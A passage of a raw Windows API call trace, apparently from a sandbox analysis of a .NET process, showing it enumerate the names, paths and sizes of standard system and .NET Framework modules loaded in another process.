0x4fbd960 [0264.273] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75670000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0264.273] CoTaskMemFree (pv=0x4fbd960) [0264.273] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.273] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75670000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0264.273] CoTaskMemFree (pv=0x4fbd960) [0264.273] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75660000, lpmodinfo=0x240fe98, cb=0xc | out: lpmodinfo=0x240fe98*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0264.274] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.274] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75660000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0264.274] CoTaskMemFree (pv=0x4fbd960) [0264.274] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.274] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75660000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0264.275] CoTaskMemFree (pv=0x4fbd960) [0264.275] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73620000, lpmodinfo=0x2411fac, cb=0xc | out: lpmodinfo=0x2411fac*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0264.275] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.275] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73620000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0264.275] CoTaskMemFree (pv=0x4fbd960) [0264.275] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.275] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73620000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0264.276] CoTaskMemFree (pv=0x4fbd960) [0264.276] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75db0000, lpmodinfo=0x24140f4, cb=0xc | out: lpmodinfo=0x24140f4*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0264.276] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.276] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75db0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0264.277] CoTaskMemFree (pv=0x4fbd960) [0264.277] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.277] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75db0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0264.277] CoTaskMemFree (pv=0x4fbd960) [0264.277] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75810000, lpmodinfo=0x2416200, cb=0xc | out: lpmodinfo=0x2416200*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0264.277] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.277] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75810000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0264.278] CoTaskMemFree (pv=0x4fbd960) [0264.278] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.278] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75810000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0264.278] CoTaskMemFree (pv=0x4fbd960) [0264.278] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75e10000, lpmodinfo=0x2418304, cb=0xc | out: lpmodinfo=0x2418304*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0264.279] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.279] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75e10000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0264.279] CoTaskMemFree (pv=0x4fbd960) [0264.279] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.279] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75e10000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0264.280] CoTaskMemFree (pv=0x4fbd960) [0264.280] GetModuleInformation (in: hProcess=0x2bc, hModule=0x772c0000, lpmodinfo=0x241a410, cb=0xc | out: lpmodinfo=0x241a410*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0264.280] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.280] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x772c0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0264.281] CoTaskMemFree (pv=0x4fbd960) [0264.281] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.281] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x772c0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0264.281] CoTaskMemFree (pv=0x4fbd960) [0264.281] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75a30000, lpmodinfo=0x241c50c, cb=0xc | out: lpmodinfo=0x241c50c*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0264.282] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.282] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75a30000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0264.282] CoTaskMemFree (pv=0x4fbd960) [0264.282] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.282] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75a30000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0264.283] CoTaskMemFree (pv=0x4fbd960) [0264.283] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75ae0000, lpmodinfo=0x241e69c, cb=0xc | out: lpmodinfo=0x241e69c*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0264.283] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.283] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75ae0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0264.283] CoTaskMemFree (pv=0x4fbd960) [0264.283] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.284] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75ae0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0264.284] CoTaskMemFree (pv=0x4fbd960) [0264.284] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75be0000, lpmodinfo=0x24207a0, cb=0xc | out: lpmodinfo=0x24207a0*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0264.284] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.284] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75be0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0264.285] CoTaskMemFree (pv=0x4fbd960) [0264.285] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.285] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75be0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0264.294] CoTaskMemFree (pv=0x4fbd960) [0264.294] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73610000, lpmodinfo=0x24228a4, cb=0xc | out: lpmodinfo=0x24228a4*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0264.294] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.294] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73610000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0264.295] CoTaskMemFree (pv=0x4fbd960) [0264.295] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.295] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73610000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0264.295] CoTaskMemFree (pv=0x4fbd960) [0264.295] GetModuleInformation (in: hProcess=0x2bc, hModule=0x72f40000, lpmodinfo=0x24249b0, cb=0xc | out: lpmodinfo=0x24249b0*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0264.296] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.296] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x72f40000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0264.296] CoTaskMemFree (pv=0x4fbd960) [0264.296] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.297] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x72f40000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0264.297] CoTaskMemFree (pv=0x4fbd960) [0264.297] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75540000, lpmodinfo=0x2426ae0, cb=0xc | out: lpmodinfo=0x2426ae0*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0264.298] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.298] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75540000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0264.298] CoTaskMemFree (pv=0x4fbd960) [0264.298] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.298] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75540000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0264.299] CoTaskMemFree (pv=0x4fbd960) [0264.299] GetModuleInformation (in: hProcess=0x2bc, hModule=0x74310000, lpmodinfo=0x2428c14, cb=0xc | out: lpmodinfo=0x2428c14*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0264.299] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.299] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x74310000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0264.300] CoTaskMemFree (pv=0x4fbd960) [0264.300] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.300] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x74310000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0264.301] CoTaskMemFree (pv=0x4fbd960) [0264.301] GetModuleInformation (in: hProcess=0x2bc, hModule=0x77060000, lpmodinfo=0x242adbc, cb=0xc | out: lpmodinfo=0x242adbc*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0264.301] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.301] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x77060000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0264.302] CoTaskMemFree (pv=0x4fbd960) [0264.302] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.302] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x77060000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0264.302] CoTaskMemFree (pv=0x4fbd960) [0264.302] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73e60000, lpmodinfo=0x242cec0, cb=0xc | out: lpmodinfo=0x242cec0*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0264.303] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.303] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73e60000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0264.304] CoTaskMemFree (pv=0x4fbd960) [0264.304] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.304] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73e60000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0264.304] CoTaskMemFree (pv=0x4fbd960) [0264.304] GetModuleInformation (in: hProcess=0x2bc, hModule=0x72590000, lpmodinfo=0x242efcc, cb=0xc | out: lpmodinfo=0x242efcc*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0264.305] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.305] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x72590000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0264.305] CoTaskMemFree (pv=0x4fbd960) [0264.306] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.306] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x72590000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0264.306] CoTaskMemFree (pv=0x4fbd960) [0264.306] GetModuleInformation (in: hProcess=0x2bc, hModule=0x71e70000, lpmodinfo=0x2431168, cb=0xc | out: lpmodinfo=0x2431168*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0264.307] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.307] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x71e70000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0264.307] CoTaskMemFree (pv=0x4fbd960) [0264.307] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.308] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x71e70000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0264.308] CoTaskMemFree (pv=0x4fbd960) [0264.308] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73c90000, lpmodinfo=0x2433324, cb=0xc | out: lpmodinfo=0x2433324*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0264.309] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.309] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73c90000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0264.309] CoTaskMemFree (pv=0x4fbd960) [0264.309] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.309] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73c90000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0264.310] CoTaskMemFree (pv=0x4fbd960) [0264.310] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73f00000, lpmodinfo=0x2435518, cb=0xc | out: lpmodinfo=0x2435518*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0264.311] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.311] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73f00000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0264.311] CoTaskMemFree (pv=0x4fbd960) [0264.311] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.311] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73f00000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0264.312] CoTaskMemFree (pv=0x4fbd960) [0264.312] GetModuleInformation (in: hProcess=0x2bc, hModule=0x76e30000, lpmodinfo=0x2437658, cb=0xc | out: lpmodinfo=0x2437658*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0264.312] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.312] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x76e30000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0264.313] CoTaskMemFree (pv=0x4fbd960) [0264.313] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.313] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x76e30000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0264.314] CoTaskMemFree (pv=0x4fbd960) [0264.314] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73b00000, lpmodinfo=0x243976c, cb=0xc | out: lpmodinfo=0x243976c*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0264.314] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.314] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73b00000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0264.315] CoTaskMemFree (pv=0x4fbd960) [0264.315] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.315] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73b00000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0264.315] CoTaskMemFree (pv=0x4fbd960) [0264.315] GetModuleInformation (in: hProcess=0x2bc, hModule=0x71210000, lpmodinfo=0x243b938, cb=0xc | out: lpmodinfo=0x243b938*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0264.316] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.316] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x71210000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0264.317] CoTaskMemFree (pv=0x4fbd960) [0264.317] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.317] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x71210000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0264.317] CoTaskMemFree (pv=0x4fbd960) [0264.318] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73ee0000, lpmodinfo=0x243db28, cb=0xc | out: lpmodinfo=0x243db28*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0264.318] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.318] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73ee0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0264.319] CoTaskMemFree (pv=0x4fbd960) [0264.319] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.319] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73ee0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0264.319] CoTaskMemFree (pv=0x4fbd960) [0264.319] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73ac0000, lpmodinfo=0x243fd40, cb=0xc | out: lpmodinfo=0x243fd40*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0264.320] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.320] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73ac0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0264.320] CoTaskMemFree (pv=0x4fbd960) [0264.320] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.321] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73ac0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0264.321] CoTaskMemFree (pv=0x4fbd960) [0264.321] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73a30000, lpmodinfo=0x2441e4c, cb=0xc | out: lpmodinfo=0x2441e4c*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0264.322] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.322] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73a30000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0264.322] CoTaskMemFree (pv=0x4fbd960) [0264.322] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.322] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73a30000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0264.323] CoTaskMemFree (pv=0x4fbd960) [0264.323] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73a10000, lpmodinfo=0x2444014, cb=0xc | out: lpmodinfo=0x2444014*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0264.324] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.324] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73a10000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0264.324] CoTaskMemFree (pv=0x4fbd960) [0264.324] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.324] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73a10000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0264.325] CoTaskMemFree (pv=0x4fbd960) [0264.325] GetModuleInformation (in: hProcess=0x2bc, hModule=0x73940000, lpmodinfo=0x2446164, cb=0xc | out: lpmodinfo=0x2446164*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0264.325] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.326] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x73940000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0264.326] CoTaskMemFree (pv=0x4fbd960) [0264.326] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.326] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x73940000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0264.327] CoTaskMemFree (pv=0x4fbd960) [0264.327] GetModuleInformation (in: hProcess=0x2bc, hModule=0x71080000, lpmodinfo=0x2448360, cb=0xc | out: lpmodinfo=0x2448360*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0264.328] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.328] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x71080000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0264.328] CoTaskMemFree (pv=0x4fbd960) [0264.328] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.329] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x71080000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0264.329] CoTaskMemFree (pv=0x4fbd960) [0264.329] GetModuleInformation (in: hProcess=0x2bc, hModule=0x70ee0000, lpmodinfo=0x244a510, cb=0xc | out: lpmodinfo=0x244a510*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0264.330] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.330] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x70ee0000, lpBaseName=0x4fbd960, nSize=0x800 | out: 